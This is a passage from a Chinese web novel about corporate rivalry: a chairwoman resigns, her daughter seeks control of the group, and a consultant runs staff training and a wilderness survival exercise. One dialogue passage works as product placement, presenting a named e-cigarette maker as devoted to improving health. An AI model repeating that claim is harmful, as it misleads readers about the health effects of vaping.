“林总如此尽职尽责挺好的。你是按我的方案去执行的吗?我自己预测过,就算能挽回颓势,也会是缓步上升,而不会如此迅猛。” “对,用了您的方案,也执行了我们自己的想法,双管齐下,见效显着。” “你们?” “当然是董事会的意思,克普那边的高管也一票通过。您每天忙碌加班到很晚,像这些小事情我就没给您添堵了。” “林作杰!赶紧叫停这种做法!你这无异杀鸡取卵,迟早要毁了整个雷默和克普!” “琳达,你这么说我就不高兴了。我兢兢业业在这里工作为了什么?没错,我用了一些非常手法,但获利的不是我本人,是雷默和克普。商业不就是这样吗?谁最终能得到蛋糕,谁最终能生存,都是各凭本事。” 琳达终于怒不可遏,拍案而起:“你不要以为我不知道你在背后做了什么!你知不知道这不择手段的方法只会搅动整个行业腥风血雨,加速雷默集团和克普的灭亡?只会将我们苦心经营的基业推向悬崖!” “琳达!”林作杰也寒着脸说道,“那我倒要听听你的高见了,你说,我们该怎么做才能快速打赢这场拉锯战!” “为什么非得战争!为什么不可以是合作!”琳达掷地有声地说道,其实她给林作杰的方案只是第一步,第二步便是同普世合作,良性竞争,互利合作:“如果你再不收手,按我的方案去执行,为了雷默和克普的生死存亡,就算你有董事会的支持,我也有权利撤掉你这总经理的职位。” 林作杰咬了咬牙,沉默半响调整心绪说道,“别忘了箫家将雷默30%的资产全都投入克普,如果克普颗粒无收,最先出局的会是你们箫家。我这么做对你们箫家百利无一害,你可以不感激我,但你要想动我,简直是异想天开!” 琳达脸色红了又青,气得几乎站立不稳。 林作杰往前走了几步,音量调低说道:“我不想与你为敌。虽然我知道你一向不喜欢我。但我在此刻之前,从头到尾没有在你面前有半句忤逆。琳达,这是在国内,你那一套在这里不适用。我们有现成的资源,有强大的背景,这是别人想要都得不到的保障。 如果我们不这么做,就凭普世现在的风头,克普根本没有立足之地。在克普的市场被普世挤压到生存空间不足的时候,如果我们不做任何反抗那就是无能的表现。商场如战场,刀剑无眼,谁能活着爬上世界之巅,谁就是王者,所做的一切就是正道。” 他见琳达脸色发青,顿了顿还是坚持说下去:“我知道你看不起这些做法,你只会一昧要求下面的人加强专业能力,改变服务规则,拉长战线以获得客户的青睐。这些是没错!这是在当初开局就该做的事,现在敌人兵临城下才想起来操练兵马,你有没有想过,在克普还没有获得客户认可的时候,可能就撑不下去了? 员工每天不管有没有业绩我们都得发薪水,公司经营的所有费用不管是否盈利都得支付,股东们个个都盯着克普的报表,他们不是做慈善的,每个人都希望投的每一分钱要有所收获。董事会为什么支持我?因为我能给他们切切实实的利益,你动了他们的蛋糕,不断的损耗利益还期望他们会支持你吗?你自己想想吧。” 林作杰转身头也不回地走出董事长办公室。 琳达目光呆滞,靠在办公桌旁一动也不动。 让人意想不到的是,琳达当天下午突然召开董事会议,一些不能来到现场的成员,也通过视频会议方式参与了这场临时会议。 会议上,琳达主动提出辞去董事长职务。这一劲爆新闻变成业内茶余饭后的谈资,褒贬不一。 莫诚出了一趟远门,听到消息时已经是两天后,他回家时,琳达正在庭院里浇花,脱去身上的职业精练的服装,换上针织衫,阔腿裤,系着丝巾,更加气质优雅又慈眉善目。 “妈!”莫诚站在她身后。 第一百四十章 小竺讨要雷默主控权 琳达回过头来,微笑道,“怎么回来了?你工作那么忙。” “想起我们已经很久没一起吃饭了,特意回来陪陪您。”莫诚过去,给了母亲一个拥抱。“这样挺好的,别想太多。” “我知道你特意回来安慰我。我没事。”琳达拍拍儿子的背,“进屋吧,我让秦姨多做两道菜。确实很久没一起吃顿饭了。从今往后,可以常回家聚餐。” “小竺没有回来?”莫诚问。 “她现在行动不便,我让她别老是坐车颠簸,对胎儿不好。”琳达将客厅桌面上插花剩余的花枝清扫进垃圾桶。 莫诚拦住她,自己动手收拾。“你坐,我来。” “秦姨上午比较忙,买菜做饭搞卫生,所以刚刚插花剩下些枝叶,还没清走。”琳达在沙发上坐下来,见莫诚有些沉默,便说道:“你倒是越来越像妈妈的小绵袄了。” “什么?”莫诚没听懂意思。 琳达笑笑,摇头。 莫诚却说,“网媒上报纸上,铺天盖地都是你辞去雷默董事长一职的消息,我了解小竺,她在没涉足雷默时就经常关注这些。更何况她还上手代理董事长一段时间,不可能一点风声都没听到。” “即使听到,她一个女子又能怎样?”琳达语气比较软,回国后她的性格显着发生了变化。 莫诚突然直起身子,喉结滚了滚,琳达以为他要说什么,等了半天,莫诚却拎起垃圾袋,“我去扔垃圾。” 小竺是晚上回来的,拎着琳达喜欢的糕点。 那时莫诚准备走,看到小竺和东维恺进来,他眼睛在两人脸上扫了一圈,不冷不热地道:“这是什么风把你们俩吹来了?” “哥,你这是要走吗?早知道我就晚个几分钟再来。”小竺毫不客气的怼回去。 “你心里还有我这个哥?还有这个家吗?”莫诚沉声道。 眼见两人要吵起来,东维恺忙劝道,“哥,哥。消消气。小竺老早跟我说要回来,她不放心妈妈。是我跟她说,等下班我陪她一起回来。想着要给妈捎些爱吃的糕点,又耽搁些时间。哥,难得一见,坐着聊会啊。” “不必了。”莫诚生气的原因只有小竺清楚,压根不是来得晚不晚的事。但他不想牵怒于他人,因此吐了这三个字,就走了。 玄关处本就不宽,三个人并排肯定显挤,东维恺避让不及,被他结实撞了一下。 小竺皱了皱眉,又想说什么,被东维恺拦住了,低声劝道:“没事,没事。” 琳达正在楼上整理自己房里那些东西,回国到现在没有一刻不在想着雷默集团那档子事。现在终于空闲了,有些物品该扔得扔,该清得清。 “妈。” 听到身后熟悉的声音,琳达转身看到女儿站在门口。 “小竺,这么晚了你一个人来的吗?”她拍拍手上的灰尘,其实秦姨每天都有打扫,挺干净的。 小竺微微一笑,“没有,维恺送我来的。” “他人呢?你们吃饭了没?” “吃过了。他在楼下。”小竺过去挽住她的胳膊走出房间。 两人下楼时,东维恺正在回信息,脸上洋溢着笑。见小竺二人下来,脸上的笑容收敛起来。“妈,这么晚来打扰您休息了。” 琳达温和笑道,“平时睡得晚,一时半刻改不过来。正在楼上清理小物件,秦妈也不知道哪些我要留,哪些要扔,到时还得件件问我。所以自己动手反而效率高些。” 东维恺笑着接道:“妈妈半辈子叱咤职场,连带生活都融入了职场气息,凡事讲效率。您啊,该享清福喽,将生活节奏慢下来,出去旅旅游,散散心。只要您愿意,我随时可以给您安排。” “这个提议挺好。”小竺在旁边,微笑着点头赞同。 琳达开心得合不拢嘴:“你们能有这份孝心啊,我很感动。这倒是个好主意,正愁怎么打发时间,突然闲下来还有点不适应。行吧,旅行的行程我自己安排,你们就不用管了。” 说着,大家坐了下来。 小竺打开精美的包装盒,说道:“只要妈开心怎样都行。这是维恺专程给您捎带的糕点,知道您喜欢吃,趁热尝尝。” 说说笑笑间,秦姨沏了壶新茶过来。 小竺朝东维恺使了个眼色。 “秦姨真是及时雨。刚想说糕点虽好吃,但吃多了有点甜腻,您就端茶过来了。”东维恺笑说。 把个秦姨夸得眉开眼笑。 “您泡的茶总是要比我们家的香,这里面有什么绝招吗?还是手法不一样,要不我随您去学上一学。”东维恺说着,起身随秦姨走了。 小竺见状,挪过去靠在母亲身上,“妈,雷默是父亲半辈子打下来的天下,咱们至少得有话语权。您说放就放下了,父亲在天有灵他绝不会甘心。” 琳达的笑容渐渐隐匿,叹了口气幽幽道:“雷默集团那些股东们没有一个省油的灯,早将我架空了。我在公司孤军作战沦为笑柄,在不在位,都一样了。” “那怎么能一样?要不,您将父亲的股权转给我,我去争取董事长位子。我有把握夺回主控权。”小竺语气很软,用意却咬合坚定。 “小竺,你一个女人,又怀着身子。我在职场顶端那么多年尚且败下阵来,你涉世未深,身单力薄的,在那群如狼似虎的人尖子面前又能怎么样呢?” 小竺不悦道:“女人怎么了?女人跟男人一样,他们能做到的我照样能做到。在您没回国之前,一直是我在代理董事长一职,不是别人。” “我这是怕你吃亏......” “不让我试一试,你怎么知道我就一定会吃亏?能不能跟相信莫诚那样相信我一次?能不能像对莫诚那样公平地对待我一次?” 琳达怔了怔,像是不认识小竺一般,“小竺,在我心里你一直温顺体贴,懂事得让我只想护着你。” “你那是护着我吗?在我和莫诚之间你总是优先选择莫诚,就连父亲也一样,我是女孩,我就活该只能温顺体贴懂事吗?我偏不,我要你们看看箫小竺可以站在男人堆里挥军千里,而不是永远在你们衣裙底下被安排,被选择!” 琳达惊讶得说不出话来,膛目结舌地看着小竺。 第一百四十一章 小别胜新婚 小竺随即放软身段,潸然泪下,“我两岁的时候你就狠心去了国外,那是我最需要母亲的时候。我天天站在门口张望,随时准备扑进您怀里。我睡前哭着喊妈妈,梦醒了要找妈妈,然而等来的永远是失望。 稍微大点,您可以带一个去国外,我在您面前表现得温顺,懂事,体贴,不就是让你多看我一眼,多在乎我一点吗?但您还是选择了莫诚。 莫诚去了国外,爸爸每次遇到难题都会说,假如你哥哥在,我就能培养接班人互相商量了,假如你哥哥在,早就可以独当一面为我分担一些。即使他知道,哥哥心里早就将他归为坏人。 凭什么我表现得尽善尽美却总是被忽略的那一个?凭什么莫诚什么都不用做就获得你们的认可?同样是你们的亲生骨肉,你们有考虑我的感受吗?” 琳达也泣不成声。“小竺,对不起。这么多年,我一直以自己的视角和判断,认为你留在国内,留在你父亲身边,会有更稳定富足的生活条件,但你是女孩,你应该被呵护。 我刚去国外那会,颠沛流离,连自己都顾不上。后来有了一席之地,但大部分精力都在工作上,国外很乱,你哥哥是男生,在那种环境下益于培养他的自主独立能力。你是女生,那种环境下你会受伤害的,懂吗?唯独没想到这么考虑的结果,会带给你这么大的伤害,我真的没想到。” “这些都过去了,我可以不去计较。现在,你能不能给我机会?”小竺擦干眼泪,冷冷问道。 见琳达还在犹豫,小竺又说了一句话帮她定下了乾坤:“别再用你的思维方式去思考我的人生,那样只会再次造成不公。” “好。”琳达立即回道,吸了吸鼻子,“我答应你。” “明天就办理相关手续,我今晚预约田律师,越快越好,可以吗?” “可以。” 室外正迎来第一场大春雨,而室内的风雨终于停歇。 小竺和东维恺走了,琳达心里空荡荡,茫茫然。看着这偌大且静谧的别墅,思考自己这半生得到了什么,又失去了什么? 在这样的雨夜,同样茫然的还有尚云。 尽管上次与九月通电话,得到了灵感作出权宜之计,将所有团队都调整为子单元派出去了。每个蓝鲸团队不再以公司销售部统一分配资源,被动接受任务,而是靠团队独立运营,主动出击,自负盈亏。 真正实现了品牌标志榕树的众多“须根”落地扎根的设想,也是蒲公英落伞计划的延伸。 这在短时间内能缓解危局,给他争取了时间去思考,他很清楚,这不是长久之计。 普世要想实现终极目标,绝不能裹足不前,普世创立初衷也绝不是仅求温饱。 前进的步伐突然刹车,公司运作也突然慢下来,公司不再有那么多重要决策需要他亲力亲为,木信一肩便能轻松扛下来。 他也减少去公司的次数和时长。 更多的时候,他去登山,去春泳,去攀登,或者哪也不去,就在三楼健身习武,人都说生命在于运动,对尚云来说,血液加速流动会使他的思维更为灵活。 晚上则呆在三楼的阳光房里晒月亮,一杯红酒,闻着花香,静静发呆。 就像现在,大雨瓢泼,在玻璃房顶砸开一朵朵涟渏,形成一条条水纹流向边缘。 九月:“尚云,睡了吗?” 他从躺椅中坐直身子,回复道:“没有。” 九月:“聊聊?” 尚云:“好。” 九月:“我是说见面。” 尚云:“好。我马上来。”他起身,将酒杯放在小圆玻璃桌上。 走到二楼时,猛然发现九月站在楼下,正一眨不眨地望着他,唇边挂着笑,安静而永恒。 尚云笑着笑着,眼眶发红。 他是非常注意形象的人,就算在家里依然衣着很考究。他穿着一件带着卫衣帽子的牛仔外套,稍显休闲的内衬白t恤,一条浅色休闲裤。平时一丝不苟的头发今天随意四六分。 这样的穿着很有少年感,尽管脸色沉静略带忧愁,却有无法言说的活力。 他快步下楼,走到她身边,将她拥进怀里。“不是说我去找你吗,这么大的雨,你怎么来了?” 她喜欢把脸埋在他怀里,一股淡淡酒味飘进鼻端:“你喝酒了?要找个代驾载你去姜城找我吗?” 他却自顾自地说:“九月,你离开的这段时间,我才明白什么叫思念之苦,以前所有的思念加起来都不及这几天。但是,我知道你现在很忙,忍着不打扰你。” “我也想你。”九月说道,她仰起头,在他脸上快速亲了一口。 尚云怔了怔,回过神,深深吻住她。 岑姨本来想走出来要做什么,看到客厅这一幕,笑眯眯地慑手慑脚缩了回去。 这晚,九月没有回自己房里,洗漱完后,直接留宿尚云房间了。 窗外风雨交加,室内温情旖旎。 枕着尚云的臂膀沉沉一觉醒来,发现他正含情脉脉盯着她看。 九月微微一笑,伸出藕段一般的纤纤手指,捂住他的眼睛。“看够了没,再睡会。” “没事,你继续睡。”尚云抓住她的手腕移开。 她笑着靠在他怀里,就听尚云仿佛从胸腔传来一句:“九月,如果我一无所有,你会不会很失望?” 九月沉默了几秒,无比清醒的告诉他:“我认识你的时候,你本来就一无所有。我的意思是,我没有变,在很多事情上我已经不再是以前的九月,但对你我始终未变。 如果你想解甲归田,我退能布衣织耕。如果你想实现鸿图远志,我进能披波斩浪助你一臂之力。老师曾拿我作过一个比方,说我这一腔与生俱来的孤勇,有如一把登峰造极的利剑,几经淬炼可以大用。尚云,这把剑注定是属于你的,只有你才能启用它的锋刃。其他人都不行,包括我自己。” 尚云听了她的肺腑之言,内心的感动无与伦比,他收紧手臂,将她紧紧拥在怀里。 又缠绵了半个小时,终于起床。 出现在楼下时,岑姨也刚弄好早点。 两人吃早餐时,尚云问起海量的项目问题。 “还算顺利,雷辰光非常配合。刚做完第二次深诊,正在做解决方案。” “这一次危机倒是识别出哪些是真正值得诚信合作的客户。没想到,当初我推拒再三的对象,却在危难时刻跟普世站在同一战线。”尚云感慨道。 九月停了停筷着,望了尚云一眼,继续低头吃早餐。 尚云是何等敏锐,便问道:“你有话要对我说?还是说不同意我的看法?” 她咽下食物,不紧不慢地喝了一口牛奶,方才说道:“尚云,你有一颗赤子之心。也许我说的话你听了不舒服,但这世界上本就不存在死心踏地的诚信,都是建立在互惠互利的基础上。如果我们给他们带来麻烦,大概率会被抛弃。不用一点手段逼他们就范,不可能与你站在同一阵线。” 尚云放下筷子,狐疑道,“九月,你对海量公司做了什么?” 第一百四十二章 基克纳出手相助 九月取了面巾纸擦了擦嘴,简明扼要的将她与雷辰光之间的事交代一遍。 尚云面色微沉,撇开脸没有说话。 她知道自己又一次触犯了尚云的底线与原则,他骨子里的忠厚与善良成为他为人之根本,在合作上秉承纯正道义,客户有至高无上的地位。 尚云打小就出生在商贾之家,父亲带他接触拜访众多知名企业家,耳濡目染,企业家的责任与担当,风度与胸怀早已深深烙印在心底。 十七岁便与金仕集团签约经营企业,自己从小获得的那些启发逐一实践,形成自己稳固的认知系统。 他不允许自己成为只为利益而不择手段的商人,也不屑与这样的人为伍。 然而九月对海量的威逼,将他引以为傲的普世形象上划上极不协调的浓墨一笔。尽管知道她是好意,她是想帮助公司,然而这是他预设的底线,无论是谁都不能踩踏地底线。 原本其乐融融的餐厅突然就冷如冰窖一般。 岑姨见二人不再用餐,便过来收拾餐具。尚云顺势离开了餐厅,一言不发上楼去了书房。 九月知道,这事情不讲清楚会让两人关系留下裂?。何况,莫诚拜托她的任务,她还没有完成。 于是,也跟着上楼去了书房。 这是她第一次踏进他的书房,书房没有多余的饰物,没有价格不菲的古董字画。 上次看到除了影光墙花,只有满柜的书和一套办公桌椅。 然而此时,书柜那一面竟成了一面橱柜,放置着古代将领的铠甲和一套刀与红樱枪,另一侧放置着一套女装和金钗。她一眼便认了出来,那是她曾经在夏令营穿过的古式女侠装。 他沉着脸站在橱柜前,凝目于那一套铠甲。 她将门轻轻阖上,走过去握住他的手。若是以往,他会反手紧紧握住,但现在这一刻他没有这么做,反而巧妙避开了。 “我知道你很生气。” “你知道但你依然这么做了。”他沉痛而语速缓慢,说道:“九月,你这么做了,有没有想过普世度过危机以后要如何面世?我要拿什么去说服员工为我的信仰而努力、骄傲?以后在客户面前什么都没说我先矮三截,我哪来的底气去说服客户?” 九月心里一阵刺痛,说道:“你的坚持是对的,这一点毋庸质疑。但世界上只要有人不认同,哪怕只有一个人不认同,甚至因此与你为敌,你就会一败涂地。 现在普世的局面,不就是如此吗?你不知道对方手中有多少筹码,你不知道能否捱过这个春天。在强势筹码中,你所有的坚持将一无是处。 人们会在你功成圆满时支持你,如果你因此而被击垮,饱含对未来的希望的普世员工该如何自处?你的理想抱负要如何实现,你看不惯的残酷世界谁来改变?” “这就代表我们可以不择手段了吗!你这么做让普世跟那些人有什么区别?就算实现了理想抱负又有什么意义?”尚云隐忍已久的怒气终于爆发了。 她沉默片刻,脸上却未见哀色,只有清冷的凛然。 良久,她指着橱窗里那一套铠甲沉声说道:“明月将军,他一生驰骋于沙场,号令万千将士征战于危难,抢险于一发千钧。 敌军对他闻风丧胆,敌军首领对他敬若神明。然而,他却生生屈死于自己一生忠勇的北齐皇帝身边的第一大刽子手手中,他的家人们在烈阳下跪成一线,血洒青石,无一幸免。不久,他拼死守护的家国俱灭。这就是现实,就是他坚持正确的代价!” 尚云心中一痛,身体虚脱般靠在桌沿。眼前已经浮现了电影般清晰而惨烈画面。这些事情一度让他沮丧于对暗箱操作的无能为力,质疑自身可笑可悲的鸿图远志。 九月见他如此悲恸,强忍着心疼继续道:“普世若亡,你跟明月将军的境遇有什么区别?不是当年的明月将军没有守护国家的能力,也不是当今的普世文化没有实力赢得生存空间,而是,我们给世界套上滤镜,低估了人性。 你可以坚持风骨,但必须改变策略让普世活下来!为实现伟业,有必要采取一点手段自我保护。” 见尚云强忍泪水的模样,知道她掀开了他的旧伤口,有些不忍。 有些话还是得说,就是现在。九月扶住他的手,苦口婆心劝道:“我们穿着一双白鞋,在泥泞的马路上无从下脚,生怕弄脏了这一双一尘不染的白鞋。可是,我们要保护的不是这双鞋,它只会让我们寸步难行。我们要主动去淌泥水,豁出去在泥水里滚三滚,借着这双饱经沧桑的白鞋无所顾忌地达成我们的使命。只有达成目标完成使命这双鞋才有价值,我们这一路的跋涉才有意义。” 九月轻轻抱住他,尚云浑身颤抖,闭着眼睛却泪流满面,她理解他此时的脆弱,“要想成事,就要有所舍弃。明月将军也好,尚云也罢,过了这一关才能顺利躲过一劫。我不会让普世像北齐一样重蹈覆辙,也不会眼睁睁看着你再次陷入穷途末路。没关系,你做不了的那些事情,就交给我去做。我知道你要坚持什么,也知道自己要维护什么。” 见尚云不再反对她,她静默了一会,待两人情绪平静下来,方才又道:“我这次来,其实还带了一个好消息。普世并非孤立无援,远方有个朋友愿意助你渡过难关。也算是苍天有眼。” “谁?”尚云哑声问。 九月试去他脸上的泪,“是基克纳的创始人。我出于职业敏感,稍微对这个企业了解一番。基克纳集团总部在深圳,旗下很多知名品牌,做的都是出口产品,致力于改善人们健康,以电子烟之类为主。这在某种意义上,基克纳其实跟普世文化的使命一样,都是为了让这个世界更美好。 在全球范围内,他们的品牌在行业内名列前茅。斩获多项最权威最具盛名的奖项,而且产业庞大,也有自己的产业链和研究院。 虽然这些与我们没有直接关系,但我了解到,他们公司的经营理念与企业文化很优秀,与普世文化也有异曲同工之妙。一个企业的文化跟掌舵者的真正心性、理念密不可分,你完全可以信赖他们。而之前莫诚就在基克纳学习经营之道,后来又经他的推荐入职普世,说明他早已注意到你,并认可你的专业和理念。” 尚云努力回忆,却想不起以往接触过这号人物。又隐隐记得木信送给他的几支电子烟品牌,好像是Geekvape。 九月解释道:“你不认识他,但他却关注你已久。当他知道你和普世的处境,立即想办法联系你。他不希望普世就此被掩入尘烟。如果你同意,我就安排你们见面。 普世的盟友虽多,可是在雷默集团和克普公司的干扰下,大多有心无力,就连盛极一时的金仕集团也频频出状况,自顾不暇。况且不是每个人都能幸运得到基克纳的帮助,也并不是每个企业家都如张董一般侠义仁心雪中送炭。这段时间,你应该也深有感触。” “我相信你。”尚云被前尘记忆损耗掉元气,此时情绪仍然低迷。 “我们很快就能好起来,尚云,有贵人相助,天不亡普世,你一定能做成大事。”九月语气坚定地道。 尚云终于勉强露出一闪而逝的短暂笑意,二人无言相拥。达成共识后,尚云目送九月匆匆离去。 她还有海量公司的项目要去完成,也需加紧联系莫诚,促成两方强者联手。 第一百四十三章 海量培训 九月还没回到姜城,莫诚电话便敲了过来。“九月,我说的事你跟尚总提了吗?” “正要给你打电话。尚总这边没问题,就看张董他们什么时间有空。不过,尚总的意思是希望能安排在周末,可以约他在宝宁市近郊南湾高尔夫球场一起打球。 主要担心约他来公司洽谈太过招摇会引人注目,给他们带来不必要的麻烦。现在不知道有多少双眼睛盯着普世的一举一动。” 莫诚倒是很爽快地说:“尚总的担心有道理,不过瞒是瞒不住的,基克纳既然要帮普世,就已经想过最坏的影响。就按你们的安排行事吧。” 九月挑了挑眉,右转方向盘下了高速:“你不问问张董?” “他考虑到我在中间传话麻烦,就授权让我来安排,最终结果告诉他就行。” “是个果断干脆的人。”九月抿唇笑笑。“那就定在本周六,我提前订好场地,到时发给你定位。” “好。”莫诚嘴角上扬,他们之间的对话还是头一次这么愉快。 九月给海量定好方案之后,手把手教团队去推进各项事物。任聪的学习能力很强,基本上九月只要将事情讲一遍便能记住,稍加解释便明白九月的意图。 因此,有这么个得力助手,九月也轻松了不少。 书生则人如其名,文字上有些功底,拟定制度与草拟方案方面在行,以及敏锐的洞查力,用在查阅资料梳理逻辑方面是一把能手。不过,魄力偏弱。但干周对那文书工作不擅长,在执行力和组织能力方面非常了得,两人搭档很互补。 方仔和老欧专业方面领悟能力差点意思,好在这俩人虽然学东西慢,但非常认真,还算靠谱。而且擅长与人沟通,团队能迅速融入海量公司,一方面是雷辰光对下面有所吩咐,一方面全凭那两张嘴打通人际关系,摸清楚什么事情找哪位关键人物要少走弯路,更容易推进。 只要任聪和九月明确要求,就一定会将事情做到相应标准,遇到难题也不会自作主张决定什么,能及时汇报请教再决定下一步的走向。 九月常感叹捡到几个宝。这几个人看起来好像并不像职场里的精英团队,但蛇行蛇道,各有擅长,倒是要胜过蓝鲸正规团队正经八百去做事的效果。 至于海量公司在海外筹办分司事宜,雷辰光在这方面有一些资源,进程比较顺利。 九月亲自培训讲课,海量公司的培训主管则旁听学习。 课程内容主要是核心文化,九月用一则故事将文化串联起来,便于理解。 文化就是故事,故事有温度有情感,传播与传承的根本还是文化。 “话说民国时期有个地主,膝下有兄弟五人,个个都已经成家立业,娶妻生子了。这时母亲大人过寿,兄弟五个平时感情挺和睦,但各自的妻子儿女们没有那层血源关系,妯娌之间侄儿女之间总会有一些鸡毛蒜皮的事,让五兄弟也不再像从前那样亲密了。 地主夫妇攒着不少钱,保不准以后看谁顺眼就多分点遗产。所以,兄弟五个家庭拿不准其他兄弟会出多少礼金。要是拿多了回家准被媳妇埋怨自己是冤大头,拿少了在兄弟们面前丢分。大家说应该拿多少?” 在座的国人纷纷挠头,这个太写实了。每次遇到各方的红色炸弹都是选择复加题,典型的中国难题! 有人插科打诨:“你看着办吧。” 大家哄堂大笑,九月也笑。经典的答案,跟这问题绝配。 笑过之余,九月才又开始说,“这时候,老大发话了,‘我们定个标准,大家经济都不宽裕,别打肿脸充胖子。以后,如果父母大寿,每家各拿100两银子,如果父母过小生日每家拿50两银子。’大家松了一口气,这主意总算解决了小事情大麻烦。” 见场下的员工都笑着点头,她不紧不慢地在白板上写下“标准”二字。“凡事定标准有制度,遇事则按制度走,不慌不乱,公平公正,不用临时头痛。” 接着又说故事:“父母年纪大了,五兄弟自然要帮着张罗,丫鬟小斯都得听按排,他们没有主心骨。光是采买瓜果菜品、张罗请柬、招呼宾客、备好手礼等事情一大堆。但兄弟几个都认为,这么点事,他们四家去张罗就可以了,我跟孩子坐这歇会。 半晌过去了,一个都没动,都带着妻儿楼上楼下,前院后院,逛花园各玩各的。因为五兄弟都是这么想的。所以说,一个和尚挑水喝,两个和尚抬水喝,三个和尚就没水喝。 人越多反而越推诿责任,必须要责任划分到具体个人身上。” 九月说完,在白板上写下“个人责任”三个字,凡事都将事情落到个人,避免推卸责任。 “没办法,儿子们都不来帮忙。父母老两口颤巍巍地在那张罗。 邻居看见了,奇怪地说,‘你们家不是有五个孩子嘛,起码也十来口人,怎么您二老这么大年纪还亲自操办?’各位,五兄弟这做法你们觉得妥吗?” 这在中国是大逆不道的不孝子,众人纷纷说,“这怎么行,五兄弟太不是人了,都得动起来。” 九月笑着应道,“可不是嘛,人越多,越要找到目标齐心协力,把事办好。既然都在一个公司,有同样一个目标,有这么多人手,应该很容易达成目标,前提是有共同的认知:每个人都必须出力,谁都不能置身事外。 在公司,团结一致达成目标才是眼下最要紧的!甭管你是外国人,还是中国人,团结协作达成公司愿景,大家都有收益。” 说完在白板上又写下“团结”。众人纷纷点头。 “这时候,五兄弟达成了共识,都抢下父母手中的活。现在有个问题来了,十几口人工作不均匀,忙的忙死,闲的闲死,因为有的人没找到活,不知道该干点什么,能干点什么,太浪费人力了。” 下面有人开窍了,说,“统一由一个人调派分工。” “说得没错,非常棒!掌声送给这位伙伴。”等掌声平息下来后,九月接着说:“得集中指挥,不能无头苍蝇四处乱撞。大哥操办过家事,知道整个流程,懂得统领全局,所以由他来指挥,安排工作。” 九月快速写下第三个词“服从管理”。 “全家人团结起来,都听大哥的指挥。每个人手上都有活,男人去监管小厮搬桌椅,采购菜,点放鞭炮等,女人分管丫鬟接待客人倒茶请烟、清扫场地、清洗菜品之类。 每个人都做自己力所能及、擅长的事物。时间紧迫,精神高昂地三下五除二,家里焕然一新。” 大家都听得津津有味,眼前很有画面感。见九月手停在白板边,猜不到这回写什么。在大家的疑惑中写下“专攻术业+自我挑战”八个字。 “每个人找到了自己的领地,就要把自己的工作,做到无人可以取代的地步,不断打磨,不断挑战极限。” 九月话锋一转,“你们的岗位就是自己的阵地,你们的能力就是你们的战斗力,开拓市场绝地反击靠的是挑战极根,挑战自我,为自己而战,把不可能变成可能。” “战斗力用来开拓市场,用来自保,但咱们民族的宏观文化是和平与发展,所以,公司的文化和精神必须建立在宏观文化上。公司将国内和国外联结起来,站在高处悲悯受苦的世界,你们会有什么想法?” “施以援手。” “非常正确,两个大人曾发生过矛盾,但其中一个人的子女卡在阳台马上要从高处掉下,而你就在旁边,你忍心不拉一把吗?生而为人,我们都做不到。这时候谁还会盘算着大人间的恩怨,眼睁睁看着一条无辜小生命在你眼前消失。 中国人从来都是有情有义,仁爱在怀,公司秉着这样的情怀把草根、市场的商品互换,也许能缓解两个大人的对立,这两个大人代表两个国家,小孩代表无辜的国家公民。 我们讲究和气生财,克己守礼。就算自身强大也不会用武力四处攻击、掠杀,而是互相合作,达成共赢。共赢是最好的结局,是世界和平的前提和基础,也是公司发展壮大的最佳环境。用自身影响环境,你们在国外就能代表中国,不怕事,也不挑事,奔着合作、共赢的使命做事。” 九月将“合作共赢”写在白板上,结束自己当天的课程。第二天拿出设计好的游戏,参与互动过程中考核了培训效果。 随后两天她又解读了公司的使命和愿景,以及公司的经营理念。 同样是以讲故事的方式,这是学员们喜闻乐见的形式。 结束了三天理论训练,又有为期四天的综合训练。 训练方案已经拟定,雷辰光看完后,像以往一样给予九月及她的团队高度信任。 九月让人资部发出通知,宣布所有新人远程外出拓展训练为期四天,明早即出发。 第一百四十四章 极地训练 大家很兴奋,按以往的经验,公司拓展一半是常规训练,一半是放松游玩。没想到刚来公司还没正式上班,就有这等好事。所以早早就开始准备拓展活动之余可能会用到的饮品零食、漂亮衣服、相机等等。 出发前在汽车旁再次集合开会,宣布训练规则。 “按本次拓展训练的规则,任何物品均不能携带,包括手机。女生有特殊生理情况报备,允许携带专用特殊物品。所有的物品放在大巴内,不允许带走。上车前会挨个进行检查。” 突如其来的宣布让大家心凉了半截。 大家上了大巴,按规则检查完之后,将众人载乘到一个荒无人烟的偏远训练场,以往普世文化的季度合训就在这里进行。 随后,将五十多人分成三组,分别是精英战队、飞豹战队、雄鹰战队。 海量公司随行的有两位培训组主管和干事,作为此次训练中的工作人员,给三组分别发了物资包,分别是换洗的有海量公司LoGo的迷彩长袖衣物,和一样特殊武器。 “天哪,吃的呢?” “这几天住哪呢?我们就住这里吗?” 大家七嘴八舌地问。 工作人员再拿出规则宣布道:“规则第二项:所有人必须在这里生存四天,吃、住、用靠自食其力,解决吃、住、用的工具已分别发放给三个组,各凭实力挑战极限。 如果中途想结束挑战,可以在包里拿出烟雾弹燃放,工作人员看到烟雾信号会接应你离开。医护人员和安保人员就在附近,随时关注保障各位人身安全。 但挑战失败的后果也明确告知各位,将影响各位能否入职海量公司以及未来发展。再次强调,这是公司的挑战训练,不是游戏更不是儿戏。” 大家翻开背包,果然有一个防水塑料小包,里面有跟团队人数相等的烟雾弹。 宣读完安全规则,工作人员离开了。 三个组你看看我,我看看你,愣在原地一脸的惊惶失措。这时头顶的无人机通过大喇叭告诫道:“各位,再不行动就天黑了,今晚本地区大面积降雨,虽然是毛毛细雨,但在这个季节还是挺冷的。” 这代表什么?代表这是真枪实弹地干呐。 大家一下子全慌了。毕竟还是有人较为冷静,精英战队有人率先反应过来叫道:“找东西搭棚子住,快!” 飞豹战队也反应过来,赶紧召集组员,开始七嘴八舌讨论。 雄鹰战队的队员围成一团,有人头脑灵光说,“这是实践训练,那之前三天理论培训的内容可以作为指导,我们可以按这个思路应对。” 成员表示认同,选出一个有主见的人统一分配工作,主导达成目标工作。选出领导后,开始分配任务,各自寻找搭建房屋的材料。 能用的资源比较少,精英队拥有一把锋利的柴刀,在砍伐搭建方面是一把有利武器。 飞豹队拥有生火的火柴,可将食物做成熟食。而雄鹰队则拥有一个鱼网,可以捕捞水里的鱼。各自拥有一样工具,算是同等处境下的最公平了。 训练的用意很明显,三样武器配合在一起就能解决“吃、住、用”了。但目前成员之间,在以往工作经验长久的环境熏陶下,没有这样的眼界和默契,全盯在解决自己团队的困境上。 结果大约八点多,天下起了毛毛雨,山里的温度比较低,房子没搭建好的团队成员冷得直发抖。除了精英队用柴刀就地取材,利索地布置好房子躲过了那场雨,其他人都在山上石洞底下盖着衣物缩成一团,熬过悲惨的一夜。 大家黑着眼眶熬到天亮,又饿又困。 清晨,每个人都灰头土脸。 